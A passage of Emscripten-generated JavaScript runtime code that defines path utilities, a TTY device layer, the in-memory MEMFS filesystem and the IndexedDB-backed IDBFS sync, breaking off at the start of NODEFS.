  1677.          var splitPathRe = /^(\/?|)([\s\S]*?)((?:\.{1,2}|[^\/]+?|)(\.[^.\/]*|))(?:[\/]*)$/;
  1678.          return splitPathRe.exec(filename).slice(1)
  1679.      }),
  1680.      normalizeArray: (function(parts, allowAboveRoot) {
  1681.          var up = 0;
  1682.          for (var i = parts.length - 1; i >= 0; i--) {
  1683.              var last = parts[i];
  1684.              if (last === ".") {
  1685.                  parts.splice(i, 1)
  1686.              } else if (last === "..") {
  1687.                  parts.splice(i, 1);
  1688.                  up++
  1689.              } else if (up) {
  1690.                  parts.splice(i, 1);
  1691.                  up--
  1692.              }
  1693.          }
  1694.          if (allowAboveRoot) {
  1695.              for (; up; up--) {
  1696.                  parts.unshift("..")
  1697.              }
  1698.          }
  1699.          return parts
  1700.      }),
  1701.      normalize: (function(path) {
  1702.          var isAbsolute = path.charAt(0) === "/",
  1703.              trailingSlash = path.substr(-1) === "/";
  1704.          path = PATH.normalizeArray(path.split("/").filter((function(p) {
  1705.              return !!p
  1706.          })), !isAbsolute).join("/");
  1707.          if (!path && !isAbsolute) {
  1708.              path = "."
  1709.          }
  1710.          if (path && trailingSlash) {
  1711.              path += "/"
  1712.          }
  1713.          return (isAbsolute ? "/" : "") + path
  1714.      }),
  1715.      dirname: (function(path) {
  1716.          var result = PATH.splitPath(path),
  1717.              root = result[0],
  1718.              dir = result[1];
  1719.          if (!root && !dir) {
  1720.              return "."
  1721.          }
  1722.          if (dir) {
  1723.              dir = dir.substr(0, dir.length - 1)
  1724.          }
  1725.          return root + dir
  1726.      }),
  1727.      basename: (function(path) {
  1728.          if (path === "/") return "/";
  1729.          var lastSlash = path.lastIndexOf("/");
  1730.          if (lastSlash === -1) return path;
  1731.          return path.substr(lastSlash + 1)
  1732.      }),
  1733.      extname: (function(path) {
  1734.          return PATH.splitPath(path)[3]
  1735.      }),
  1736.      join: (function() {
  1737.          var paths = Array.prototype.slice.call(arguments, 0);
  1738.          return PATH.normalize(paths.join("/"))
  1739.      }),
  1740.      join2: (function(l, r) {
  1741.          return PATH.normalize(l + "/" + r)
  1742.      }),
  1743.      resolve: (function() {
  1744.          var resolvedPath = "",
  1745.              resolvedAbsolute = false;
  1746.          for (var i = arguments.length - 1; i >= -1 && !resolvedAbsolute; i--) {
  1747.              var path = i >= 0 ? arguments[i] : FS.cwd();
  1748.              if (typeof path !== "string") {
  1749.                  throw new TypeError("Arguments to path.resolve must be strings")
  1750.              } else if (!path) {
  1751.                  return ""
  1752.              }
  1753.              resolvedPath = path + "/" + resolvedPath;
  1754.              resolvedAbsolute = path.charAt(0) === "/"
  1755.          }
  1756.          resolvedPath = PATH.normalizeArray(resolvedPath.split("/").filter((function(p) {
  1757.              return !!p
  1758.          })), !resolvedAbsolute).join("/");
  1759.          return (resolvedAbsolute ? "/" : "") + resolvedPath || "."
  1760.      }),
  1761.      relative: (function(from, to) {
  1762.          from = PATH.resolve(from).substr(1);
  1763.          to = PATH.resolve(to).substr(1);
  1764.  
  1765.          function trim(arr) {
  1766.              var start = 0;
  1767.              for (; start < arr.length; start++) {
  1768.                  if (arr[start] !== "") break
  1769.              }
  1770.              var end = arr.length - 1;
  1771.              for (; end >= 0; end--) {
  1772.                  if (arr[end] !== "") break
  1773.              }
  1774.              if (start > end) return [];
  1775.              return arr.slice(start, end - start + 1)
  1776.          }
  1777.          var fromParts = trim(from.split("/"));
  1778.          var toParts = trim(to.split("/"));
  1779.          var length = Math.min(fromParts.length, toParts.length);
  1780.          var samePartsLength = length;
  1781.          for (var i = 0; i < length; i++) {
  1782.              if (fromParts[i] !== toParts[i]) {
  1783.                  samePartsLength = i;
  1784.                  break
  1785.              }
  1786.          }
  1787.          var outputParts = [];
  1788.          for (var i = samePartsLength; i < fromParts.length; i++) {
  1789.              outputParts.push("..")
  1790.          }
  1791.          outputParts = outputParts.concat(toParts.slice(samePartsLength));
  1792.          return outputParts.join("/")
  1793.      })
  1794.  };
  1795.  var TTY = {
  1796.      ttys: [],
  1797.      init: (function() {}),
  1798.      shutdown: (function() {}),
  1799.      register: (function(dev, ops) {
  1800.          TTY.ttys[dev] = {
  1801.              input: [],
  1802.              output: [],
  1803.              ops: ops
  1804.          };
  1805.          FS.registerDevice(dev, TTY.stream_ops)
  1806.      }),
  1807.      stream_ops: {
  1808.          open: (function(stream) {
  1809.              var tty = TTY.ttys[stream.node.rdev];
  1810.              if (!tty) {
  1811.                  throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
  1812.              }
  1813.              stream.tty = tty;
  1814.              stream.seekable = false
  1815.          }),
  1816.          close: (function(stream) {
  1817.              stream.tty.ops.flush(stream.tty)
  1818.          }),
  1819.          flush: (function(stream) {
  1820.              stream.tty.ops.flush(stream.tty)
  1821.          }),
  1822.          read: (function(stream, buffer, offset, length, pos) {
  1823.              if (!stream.tty || !stream.tty.ops.get_char) {
  1824.                  throw new FS.ErrnoError(ERRNO_CODES.ENXIO)
  1825.              }
  1826.              var bytesRead = 0;
  1827.              for (var i = 0; i < length; i++) {
  1828.                  var result;
  1829.                  try {
  1830.                      result = stream.tty.ops.get_char(stream.tty)
  1831.                  } catch (e) {
  1832.                      throw new FS.ErrnoError(ERRNO_CODES.EIO)
  1833.                  }
  1834.                  if (result === undefined && bytesRead === 0) {
  1835.                      throw new FS.ErrnoError(ERRNO_CODES.EAGAIN)
  1836.                  }
  1837.                  if (result === null || result === undefined) break;
  1838.                  bytesRead++;
  1839.                  buffer[offset + i] = result
  1840.              }
  1841.              if (bytesRead) {
  1842.                  stream.node.timestamp = Date.now()
  1843.              }
  1844.              return bytesRead
  1845.          }),
  1846.          write: (function(stream, buffer, offset, length, pos) {
  1847.              if (!stream.tty || !stream.tty.ops.put_char) {
  1848.                  throw new FS.ErrnoError(ERRNO_CODES.ENXIO)
  1849.              }
  1850.              for (var i = 0; i < length; i++) {
  1851.                  try {
  1852.                      stream.tty.ops.put_char(stream.tty, buffer[offset + i])
  1853.                  } catch (e) {
  1854.                      throw new FS.ErrnoError(ERRNO_CODES.EIO)
  1855.                  }
  1856.              }
  1857.              if (length) {
  1858.                  stream.node.timestamp = Date.now()
  1859.              }
  1860.              return i
  1861.          })
  1862.      },
  1863.      default_tty_ops: {
  1864.          get_char: (function(tty) {
  1865.              if (!tty.input.length) {
  1866.                  var result = null;
  1867.                  if (ENVIRONMENT_IS_NODE) {
  1868.                      var BUFSIZE = 256;
  1869.                      var buf = new Buffer(BUFSIZE);
  1870.                      var bytesRead = 0;
  1871.                      var isPosixPlatform = process.platform != "win32";
  1872.                      var fd = process.stdin.fd;
  1873.                      if (isPosixPlatform) {
  1874.                          var usingDevice = false;
  1875.                          try {
  1876.                              fd = fs.openSync("/dev/stdin", "r");
  1877.                              usingDevice = true
  1878.                          } catch (e) {}
  1879.                      }
  1880.                      try {
  1881.                          bytesRead = fs.readSync(fd, buf, 0, BUFSIZE, null)
  1882.                      } catch (e) {
  1883.                          if (e.toString().indexOf("EOF") != -1) bytesRead = 0;
  1884.                          else throw e
  1885.                      }
  1886.                      if (usingDevice) {
  1887.                          fs.closeSync(fd)
  1888.                      }
  1889.                      if (bytesRead > 0) {
  1890.                          result = buf.slice(0, bytesRead).toString("utf-8")
  1891.                      } else {
  1892.                          result = null
  1893.                      }
  1894.                  } else if (typeof window != "undefined" && typeof window.prompt == "function") {
  1895.                      result = window.prompt("Input: ");
  1896.                      if (result !== null) {
  1897.                          result += "\n"
  1898.                      }
  1899.                  } else if (typeof readline == "function") {
  1900.                      result = readline();
  1901.                      if (result !== null) {
  1902.                          result += "\n"
  1903.                      }
  1904.                  }
  1905.                  if (!result) {
  1906.                      return null
  1907.                  }
  1908.                  tty.input = intArrayFromString(result, true)
  1909.              }
  1910.              return tty.input.shift()
  1911.          }),
  1912.          put_char: (function(tty, val) {
  1913.              if (val === null || val === 10) {
  1914.                  Module["print"](UTF8ArrayToString(tty.output, 0));
  1915.                  tty.output = []
  1916.              } else {
  1917.                  if (val != 0) tty.output.push(val)
  1918.              }
  1919.          }),
  1920.          flush: (function(tty) {
  1921.              if (tty.output && tty.output.length > 0) {
  1922.                  Module["print"](UTF8ArrayToString(tty.output, 0));
  1923.                  tty.output = []
  1924.              }
  1925.          })
  1926.      },
  1927.      default_tty1_ops: {
  1928.          put_char: (function(tty, val) {
  1929.              if (val === null || val === 10) {
  1930.                  Module["printErr"](UTF8ArrayToString(tty.output, 0));
  1931.                  tty.output = []
  1932.              } else {
  1933.                  if (val != 0) tty.output.push(val)
  1934.              }
  1935.          }),
  1936.          flush: (function(tty) {
  1937.              if (tty.output && tty.output.length > 0) {
  1938.                  Module["printErr"](UTF8ArrayToString(tty.output, 0));
  1939.                  tty.output = []
  1940.              }
  1941.          })
  1942.      }
  1943.  };
  1944.  var MEMFS = {
  1945.      ops_table: null,
  1946.      mount: (function(mount) {
  1947.          return MEMFS.createNode(null, "/", 16384 | 511, 0)
  1948.      }),
  1949.      createNode: (function(parent, name, mode, dev) {
  1950.          if (FS.isBlkdev(mode) || FS.isFIFO(mode)) {
  1951.              throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  1952.          }
  1953.          if (!MEMFS.ops_table) {
  1954.              MEMFS.ops_table = {
  1955.                  dir: {
  1956.                      node: {
  1957.                          getattr: MEMFS.node_ops.getattr,
  1958.                          setattr: MEMFS.node_ops.setattr,
  1959.                          lookup: MEMFS.node_ops.lookup,
  1960.                          mknod: MEMFS.node_ops.mknod,
  1961.                          rename: MEMFS.node_ops.rename,
  1962.                          unlink: MEMFS.node_ops.unlink,
  1963.                          rmdir: MEMFS.node_ops.rmdir,
  1964.                          readdir: MEMFS.node_ops.readdir,
  1965.                          symlink: MEMFS.node_ops.symlink
  1966.                      },
  1967.                      stream: {
  1968.                          llseek: MEMFS.stream_ops.llseek
  1969.                      }
  1970.                  },
  1971.                  file: {
  1972.                      node: {
  1973.                          getattr: MEMFS.node_ops.getattr,
  1974.                          setattr: MEMFS.node_ops.setattr
  1975.                      },
  1976.                      stream: {
  1977.                          llseek: MEMFS.stream_ops.llseek,
  1978.                          read: MEMFS.stream_ops.read,
  1979.                          write: MEMFS.stream_ops.write,
  1980.                          allocate: MEMFS.stream_ops.allocate,
  1981.                          mmap: MEMFS.stream_ops.mmap,
  1982.                          msync: MEMFS.stream_ops.msync
  1983.                      }
  1984.                  },
  1985.                  link: {
  1986.                      node: {
  1987.                          getattr: MEMFS.node_ops.getattr,
  1988.                          setattr: MEMFS.node_ops.setattr,
  1989.                          readlink: MEMFS.node_ops.readlink
  1990.                      },
  1991.                      stream: {}
  1992.                  },
  1993.                  chrdev: {
  1994.                      node: {
  1995.                          getattr: MEMFS.node_ops.getattr,
  1996.                          setattr: MEMFS.node_ops.setattr
  1997.                      },
  1998.                      stream: FS.chrdev_stream_ops
  1999.                  }
  2000.              }
  2001.          }
  2002.          var node = FS.createNode(parent, name, mode, dev);
  2003.          if (FS.isDir(node.mode)) {
  2004.              node.node_ops = MEMFS.ops_table.dir.node;
  2005.              node.stream_ops = MEMFS.ops_table.dir.stream;
  2006.              node.contents = {}
  2007.          } else if (FS.isFile(node.mode)) {
  2008.              node.node_ops = MEMFS.ops_table.file.node;
  2009.              node.stream_ops = MEMFS.ops_table.file.stream;
  2010.              node.usedBytes = 0;
  2011.              node.contents = null
  2012.          } else if (FS.isLink(node.mode)) {
  2013.              node.node_ops = MEMFS.ops_table.link.node;
  2014.              node.stream_ops = MEMFS.ops_table.link.stream
  2015.          } else if (FS.isChrdev(node.mode)) {
  2016.              node.node_ops = MEMFS.ops_table.chrdev.node;
  2017.              node.stream_ops = MEMFS.ops_table.chrdev.stream
  2018.          }
  2019.          node.timestamp = Date.now();
  2020.          if (parent) {
  2021.              parent.contents[name] = node
  2022.          }
  2023.          return node
  2024.      }),
  2025.      getFileDataAsRegularArray: (function(node) {
  2026.          if (node.contents && node.contents.subarray) {
  2027.              var arr = [];
  2028.              for (var i = 0; i < node.usedBytes; ++i) arr.push(node.contents[i]);
  2029.              return arr
  2030.          }
  2031.          return node.contents
  2032.      }),
  2033.      getFileDataAsTypedArray: (function(node) {
  2034.          if (!node.contents) return new Uint8Array;
  2035.          if (node.contents.subarray) return node.contents.subarray(0, node.usedBytes);
  2036.          return new Uint8Array(node.contents)
  2037.      }),
  2038.      expandFileStorage: (function(node, newCapacity) {
  2039.          if (node.contents && node.contents.subarray && newCapacity > node.contents.length) {
  2040.              node.contents = MEMFS.getFileDataAsRegularArray(node);
  2041.              node.usedBytes = node.contents.length
  2042.          }
  2043.          if (!node.contents || node.contents.subarray) {
  2044.              var prevCapacity = node.contents ? node.contents.length : 0;
  2045.              if (prevCapacity >= newCapacity) return;
  2046.              var CAPACITY_DOUBLING_MAX = 1024 * 1024;
  2047.              newCapacity = Math.max(newCapacity, prevCapacity * (prevCapacity < CAPACITY_DOUBLING_MAX ? 2 : 1.125) | 0);
  2048.              if (prevCapacity != 0) newCapacity = Math.max(newCapacity, 256);
  2049.              var oldContents = node.contents;
  2050.              node.contents = new Uint8Array(newCapacity);
  2051.              if (node.usedBytes > 0) node.contents.set(oldContents.subarray(0, node.usedBytes), 0);
  2052.              return
  2053.          }
  2054.          if (!node.contents && newCapacity > 0) node.contents = [];
  2055.          while (node.contents.length < newCapacity) node.contents.push(0)
  2056.      }),
  2057.      resizeFileStorage: (function(node, newSize) {
  2058.          if (node.usedBytes == newSize) return;
  2059.          if (newSize == 0) {
  2060.              node.contents = null;
  2061.              node.usedBytes = 0;
  2062.              return
  2063.          }
  2064.          if (!node.contents || node.contents.subarray) {
  2065.              var oldContents = node.contents;
  2066.              node.contents = new Uint8Array(new ArrayBuffer(newSize));
  2067.              if (oldContents) {
  2068.                  node.contents.set(oldContents.subarray(0, Math.min(newSize, node.usedBytes)))
  2069.              }
  2070.              node.usedBytes = newSize;
  2071.              return
  2072.          }
  2073.          if (!node.contents) node.contents = [];
  2074.          if (node.contents.length > newSize) node.contents.length = newSize;
  2075.          else
  2076.              while (node.contents.length < newSize) node.contents.push(0);
  2077.          node.usedBytes = newSize
  2078.      }),
  2079.      node_ops: {
  2080.          getattr: (function(node) {
  2081.              var attr = {};
  2082.              attr.dev = FS.isChrdev(node.mode) ? node.id : 1;
  2083.              attr.ino = node.id;
  2084.              attr.mode = node.mode;
  2085.              attr.nlink = 1;
  2086.              attr.uid = 0;
  2087.              attr.gid = 0;
  2088.              attr.rdev = node.rdev;
  2089.              if (FS.isDir(node.mode)) {
  2090.                  attr.size = 4096
  2091.              } else if (FS.isFile(node.mode)) {
  2092.                  attr.size = node.usedBytes
  2093.              } else if (FS.isLink(node.mode)) {
  2094.                  attr.size = node.link.length
  2095.              } else {
  2096.                  attr.size = 0
  2097.              }
  2098.              attr.atime = new Date(node.timestamp);
  2099.              attr.mtime = new Date(node.timestamp);
  2100.              attr.ctime = new Date(node.timestamp);
  2101.              attr.blksize = 4096;
  2102.              attr.blocks = Math.ceil(attr.size / attr.blksize);
  2103.              return attr
  2104.          }),
  2105.          setattr: (function(node, attr) {
  2106.              if (attr.mode !== undefined) {
  2107.                  node.mode = attr.mode
  2108.              }
  2109.              if (attr.timestamp !== undefined) {
  2110.                  node.timestamp = attr.timestamp
  2111.              }
  2112.              if (attr.size !== undefined) {
  2113.                  MEMFS.resizeFileStorage(node, attr.size)
  2114.              }
  2115.          }),
  2116.          lookup: (function(parent, name) {
  2117.              throw FS.genericErrors[ERRNO_CODES.ENOENT]
  2118.          }),
  2119.          mknod: (function(parent, name, mode, dev) {
  2120.              return MEMFS.createNode(parent, name, mode, dev)
  2121.          }),
  2122.          rename: (function(old_node, new_dir, new_name) {
  2123.              if (FS.isDir(old_node.mode)) {
  2124.                  var new_node;
  2125.                  try {
  2126.                      new_node = FS.lookupNode(new_dir, new_name)
  2127.                  } catch (e) {}
  2128.                  if (new_node) {
  2129.                      for (var i in new_node.contents) {
  2130.                          throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)
  2131.                      }
  2132.                  }
  2133.              }
  2134.              delete old_node.parent.contents[old_node.name];
  2135.              old_node.name = new_name;
  2136.              new_dir.contents[new_name] = old_node;
  2137.              old_node.parent = new_dir
  2138.          }),
  2139.          unlink: (function(parent, name) {
  2140.              delete parent.contents[name]
  2141.          }),
  2142.          rmdir: (function(parent, name) {
  2143.              var node = FS.lookupNode(parent, name);
  2144.              for (var i in node.contents) {
  2145.                  throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)
  2146.              }
  2147.              delete parent.contents[name]
  2148.          }),
  2149.          readdir: (function(node) {
  2150.              var entries = [".", ".."];
  2151.              for (var key in node.contents) {
  2152.                  if (!node.contents.hasOwnProperty(key)) {
  2153.                      continue
  2154.                  }
  2155.                  entries.push(key)
  2156.              }
  2157.              return entries
  2158.          }),
  2159.          symlink: (function(parent, newname, oldpath) {
  2160.              var node = MEMFS.createNode(parent, newname, 511 | 40960, 0);
  2161.              node.link = oldpath;
  2162.              return node
  2163.          }),
  2164.          readlink: (function(node) {
  2165.              if (!FS.isLink(node.mode)) {
  2166.                  throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  2167.              }
  2168.              return node.link
  2169.          })
  2170.      },
  2171.      stream_ops: {
  2172.          read: (function(stream, buffer, offset, length, position) {
  2173.              var contents = stream.node.contents;
  2174.              if (position >= stream.node.usedBytes) return 0;
  2175.              var size = Math.min(stream.node.usedBytes - position, length);
  2176.              assert(size >= 0);
  2177.              if (size > 8 && contents.subarray) {
  2178.                  buffer.set(contents.subarray(position, position + size), offset)
  2179.              } else {
  2180.                  for (var i = 0; i < size; i++) buffer[offset + i] = contents[position + i]
  2181.              }
  2182.              return size
  2183.          }),
  2184.          write: (function(stream, buffer, offset, length, position, canOwn) {
  2185.              if (!length) return 0;
  2186.              var node = stream.node;
  2187.              node.timestamp = Date.now();
  2188.              if (buffer.subarray && (!node.contents || node.contents.subarray)) {
  2189.                  if (canOwn) {
  2190.                      node.contents = buffer.subarray(offset, offset + length);
  2191.                      node.usedBytes = length;
  2192.                      return length
  2193.                  } else if (node.usedBytes === 0 && position === 0) {
  2194.                      node.contents = new Uint8Array(buffer.subarray(offset, offset + length));
  2195.                      node.usedBytes = length;
  2196.                      return length
  2197.                  } else if (position + length <= node.usedBytes) {
  2198.                      node.contents.set(buffer.subarray(offset, offset + length), position);
  2199.                      return length
  2200.                  }
  2201.              }
  2202.              MEMFS.expandFileStorage(node, position + length);
  2203.              if (node.contents.subarray && buffer.subarray) node.contents.set(buffer.subarray(offset, offset + length), position);
  2204.              else {
  2205.                  for (var i = 0; i < length; i++) {
  2206.                      node.contents[position + i] = buffer[offset + i]
  2207.                  }
  2208.              }
  2209.              node.usedBytes = Math.max(node.usedBytes, position + length);
  2210.              return length
  2211.          }),
  2212.          llseek: (function(stream, offset, whence) {
  2213.              var position = offset;
  2214.              if (whence === 1) {
  2215.                  position += stream.position
  2216.              } else if (whence === 2) {
  2217.                  if (FS.isFile(stream.node.mode)) {
  2218.                      position += stream.node.usedBytes
  2219.                  }
  2220.              }
  2221.              if (position < 0) {
  2222.                  throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  2223.              }
  2224.              return position
  2225.          }),
  2226.          allocate: (function(stream, offset, length) {
  2227.              MEMFS.expandFileStorage(stream.node, offset + length);
  2228.              stream.node.usedBytes = Math.max(stream.node.usedBytes, offset + length)
  2229.          }),
  2230.          mmap: (function(stream, buffer, offset, length, position, prot, flags) {
  2231.              if (!FS.isFile(stream.node.mode)) {
  2232.                  throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
  2233.              }
  2234.              var ptr;
  2235.              var allocated;
  2236.              var contents = stream.node.contents;
  2237.              if (!(flags & 2) && (contents.buffer === buffer || contents.buffer === buffer.buffer)) {
  2238.                  allocated = false;
  2239.                  ptr = contents.byteOffset
  2240.              } else {
  2241.                  if (position > 0 || position + length < stream.node.usedBytes) {
  2242.                      if (contents.subarray) {
  2243.                          contents = contents.subarray(position, position + length)
  2244.                      } else {
  2245.                          contents = Array.prototype.slice.call(contents, position, position + length)
  2246.                      }
  2247.                  }
  2248.                  allocated = true;
  2249.                  ptr = _malloc(length);
  2250.                  if (!ptr) {
  2251.                      throw new FS.ErrnoError(ERRNO_CODES.ENOMEM)
  2252.                  }
  2253.                  buffer.set(contents, ptr)
  2254.              }
  2255.              return {
  2256.                  ptr: ptr,
  2257.                  allocated: allocated
  2258.              }
  2259.          }),
  2260.          msync: (function(stream, buffer, offset, length, mmapFlags) {
  2261.              if (!FS.isFile(stream.node.mode)) {
  2262.                  throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
  2263.              }
  2264.              if (mmapFlags & 2) {
  2265.                  return 0
  2266.              }
  2267.              var bytesWritten = MEMFS.stream_ops.write(stream, buffer, 0, length, offset, false);
  2268.              return 0
  2269.          })
  2270.      }
  2271.  };
  2272.  var IDBFS = {
  2273.      dbs: {},
  2274.      indexedDB: (function() {
  2275.          if (typeof indexedDB !== "undefined") return indexedDB;
  2276.          var ret = null;
  2277.          if (typeof window === "object") ret = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
  2278.          assert(ret, "IDBFS used, but indexedDB not supported");
  2279.          return ret
  2280.      }),
  2281.      DB_VERSION: 21,
  2282.      DB_STORE_NAME: "FILE_DATA",
  2283.      mount: (function(mount) {
  2284.          return MEMFS.mount.apply(null, arguments)
  2285.      }),
  2286.      syncfs: (function(mount, populate, callback) {
  2287.          IDBFS.getLocalSet(mount, (function(err, local) {
  2288.              if (err) return callback(err);
  2289.              IDBFS.getRemoteSet(mount, (function(err, remote) {
  2290.                  if (err) return callback(err);
  2291.                  var src = populate ? remote : local;
  2292.                  var dst = populate ? local : remote;
  2293.                  IDBFS.reconcile(src, dst, callback)
  2294.              }))
  2295.          }))
  2296.      }),
  2297.      getDB: (function(name, callback) {
  2298.          var db = IDBFS.dbs[name];
  2299.          if (db) {
  2300.              return callback(null, db)
  2301.          }
  2302.          var req;
  2303.          try {
  2304.              req = IDBFS.indexedDB().open(name, IDBFS.DB_VERSION)
  2305.          } catch (e) {
  2306.              return callback(e)
  2307.          }
  2308.          if (!req) {
  2309.              return callback("Unable to connect to IndexedDB")
  2310.          }
  2311.          req.onupgradeneeded = (function(e) {
  2312.              var db = e.target.result;
  2313.              var transaction = e.target.transaction;
  2314.              var fileStore;
  2315.              if (db.objectStoreNames.contains(IDBFS.DB_STORE_NAME)) {
  2316.                  fileStore = transaction.objectStore(IDBFS.DB_STORE_NAME)
  2317.              } else {
  2318.                  fileStore = db.createObjectStore(IDBFS.DB_STORE_NAME)
  2319.              }
  2320.              if (!fileStore.indexNames.contains("timestamp")) {
  2321.                  fileStore.createIndex("timestamp", "timestamp", {
  2322.                      unique: false
  2323.                  })
  2324.              }
  2325.          });
  2326.          req.onsuccess = (function() {
  2327.              db = req.result;
  2328.              IDBFS.dbs[name] = db;
  2329.              callback(null, db)
  2330.          });
  2331.          req.onerror = (function(e) {
  2332.              callback(this.error);
  2333.              e.preventDefault()
  2334.          })
  2335.      }),
  2336.      getLocalSet: (function(mount, callback) {
  2337.          var entries = {};
  2338.  
  2339.          function isRealDir(p) {
  2340.              return p !== "." && p !== ".."
  2341.          }
  2342.  
  2343.          function toAbsolute(root) {
  2344.              return (function(p) {
  2345.                  return PATH.join2(root, p)
  2346.              })
  2347.          }
  2348.          var check = FS.readdir(mount.mountpoint).filter(isRealDir).map(toAbsolute(mount.mountpoint));
  2349.          while (check.length) {
  2350.              var path = check.pop();
  2351.              var stat;
  2352.              try {
  2353.                  stat = FS.stat(path)
  2354.              } catch (e) {
  2355.                  return callback(e)
  2356.              }
  2357.              if (FS.isDir(stat.mode)) {
  2358.                  check.push.apply(check, FS.readdir(path).filter(isRealDir).map(toAbsolute(path)))
  2359.              }
  2360.              entries[path] = {
  2361.                  timestamp: stat.mtime
  2362.              }
  2363.          }
  2364.          return callback(null, {
  2365.              type: "local",
  2366.              entries: entries
  2367.          })
  2368.      }),
  2369.      getRemoteSet: (function(mount, callback) {
  2370.          var entries = {};
  2371.          IDBFS.getDB(mount.mountpoint, (function(err, db) {
  2372.              if (err) return callback(err);
  2373.              var transaction = db.transaction([IDBFS.DB_STORE_NAME], "readonly");
  2374.              transaction.onerror = (function(e) {
  2375.                  callback(this.error);
  2376.                  e.preventDefault()
  2377.              });
  2378.              var store = transaction.objectStore(IDBFS.DB_STORE_NAME);
  2379.              var index = store.index("timestamp");
  2380.              index.openKeyCursor().onsuccess = (function(event) {
  2381.                  var cursor = event.target.result;
  2382.                  if (!cursor) {
  2383.                      return callback(null, {
  2384.                          type: "remote",
  2385.                          db: db,
  2386.                          entries: entries
  2387.                      })
  2388.                  }
  2389.                  entries[cursor.primaryKey] = {
  2390.                      timestamp: cursor.key
  2391.                  };
  2392.                  cursor.continue()
  2393.              })
  2394.          }))
  2395.      }),
  2396.      loadLocalEntry: (function(path, callback) {
  2397.          var stat, node;
  2398.          try {
  2399.              var lookup = FS.lookupPath(path);
  2400.              node = lookup.node;
  2401.              stat = FS.stat(path)
  2402.          } catch (e) {
  2403.              return callback(e)
  2404.          }
  2405.          if (FS.isDir(stat.mode)) {
  2406.              return callback(null, {
  2407.                  timestamp: stat.mtime,
  2408.                  mode: stat.mode
  2409.              })
  2410.          } else if (FS.isFile(stat.mode)) {
  2411.              node.contents = MEMFS.getFileDataAsTypedArray(node);
  2412.              return callback(null, {
  2413.                  timestamp: stat.mtime,
  2414.                  mode: stat.mode,
  2415.                  contents: node.contents
  2416.              })
  2417.          } else {
  2418.              return callback(new Error("node type not supported"))
  2419.          }
  2420.      }),
  2421.      storeLocalEntry: (function(path, entry, callback) {
  2422.          try {
  2423.              if (FS.isDir(entry.mode)) {
  2424.                  FS.mkdir(path, entry.mode)
  2425.              } else if (FS.isFile(entry.mode)) {
  2426.                  FS.writeFile(path, entry.contents, {
  2427.                      encoding: "binary",
  2428.                      canOwn: true
  2429.                  })
  2430.              } else {
  2431.                  return callback(new Error("node type not supported"))
  2432.              }
  2433.              FS.chmod(path, entry.mode);
  2434.              FS.utime(path, entry.timestamp, entry.timestamp)
  2435.          } catch (e) {
  2436.              return callback(e)
  2437.          }
  2438.          callback(null)
  2439.      }),
  2440.      removeLocalEntry: (function(path, callback) {
  2441.          try {
  2442.              var lookup = FS.lookupPath(path);
  2443.              var stat = FS.stat(path);
  2444.              if (FS.isDir(stat.mode)) {
  2445.                  FS.rmdir(path)
  2446.              } else if (FS.isFile(stat.mode)) {
  2447.                  FS.unlink(path)
  2448.              }
  2449.          } catch (e) {
  2450.              return callback(e)
  2451.          }
  2452.          callback(null)
  2453.      }),
  2454.      loadRemoteEntry: (function(store, path, callback) {
  2455.          var req = store.get(path);
  2456.          req.onsuccess = (function(event) {
  2457.              callback(null, event.target.result)
  2458.          });
  2459.          req.onerror = (function(e) {
  2460.              callback(this.error);
  2461.              e.preventDefault()
  2462.          })
  2463.      }),
  2464.      storeRemoteEntry: (function(store, path, entry, callback) {
  2465.          var req = store.put(entry, path);
  2466.          req.onsuccess = (function() {
  2467.              callback(null)
  2468.          });
  2469.          req.onerror = (function(e) {
  2470.              callback(this.error);
  2471.              e.preventDefault()
  2472.          })
  2473.      }),
  2474.      removeRemoteEntry: (function(store, path, callback) {
  2475.          var req = store.delete(path);
  2476.          req.onsuccess = (function() {
  2477.              callback(null)
  2478.          });
  2479.          req.onerror = (function(e) {
  2480.              callback(this.error);
  2481.              e.preventDefault()
  2482.          })
  2483.      }),
  2484.      reconcile: (function(src, dst, callback) {
  2485.          var total = 0;
  2486.          var create = [];
  2487.          Object.keys(src.entries).forEach((function(key) {
  2488.              var e = src.entries[key];
  2489.              var e2 = dst.entries[key];
  2490.              if (!e2 || e.timestamp > e2.timestamp) {
  2491.                  create.push(key);
  2492.                  total++
  2493.              }
  2494.          }));
  2495.          var remove = [];
  2496.          Object.keys(dst.entries).forEach((function(key) {
  2497.              var e = dst.entries[key];
  2498.              var e2 = src.entries[key];
  2499.              if (!e2) {
  2500.                  remove.push(key);
  2501.                  total++
  2502.              }
  2503.          }));
  2504.          if (!total) {
  2505.              return callback(null)
  2506.          }
  2507.          var completed = 0;
  2508.          var db = src.type === "remote" ? src.db : dst.db;
  2509.          var transaction = db.transaction([IDBFS.DB_STORE_NAME], "readwrite");
  2510.          var store = transaction.objectStore(IDBFS.DB_STORE_NAME);
  2511.  
  2512.          function done(err) {
  2513.              if (err) {
  2514.                  if (!done.errored) {
  2515.                      done.errored = true;
  2516.                      return callback(err)
  2517.                  }
  2518.                  return
  2519.              }
  2520.              if (++completed >= total) {
  2521.                  return callback(null)
  2522.              }
  2523.          }
  2524.          transaction.onerror = (function(e) {
  2525.              done(this.error);
  2526.              e.preventDefault()
  2527.          });
  2528.          create.sort().forEach((function(path) {
  2529.              if (dst.type === "local") {
  2530.                  IDBFS.loadRemoteEntry(store, path, (function(err, entry) {
  2531.                      if (err) return done(err);
  2532.                      IDBFS.storeLocalEntry(path, entry, done)
  2533.                  }))
  2534.              } else {
  2535.                  IDBFS.loadLocalEntry(path, (function(err, entry) {
  2536.                      if (err) return done(err);
  2537.                      IDBFS.storeRemoteEntry(store, path, entry, done)
  2538.                  }))
  2539.              }
  2540.          }));
  2541.          remove.sort().reverse().forEach((function(path) {
  2542.              if (dst.type === "local") {
  2543.                  IDBFS.removeLocalEntry(path, done)
  2544.              } else {
  2545.                  IDBFS.removeRemoteEntry(store, path, done)
  2546.              }
  2547.          }))
  2548.      })
  2549.  };
  2550.  var NODEFS = {
  2551.      isWindows: false,
  2552.      staticInit: (function() {
  2553.          NODEFS.isWindows = !!process.platform.match(/^win/)
  2554.      }),
  2555.      mount: (function(mount) {
  2556.          assert(ENVIRONMENT_IS_NODE);
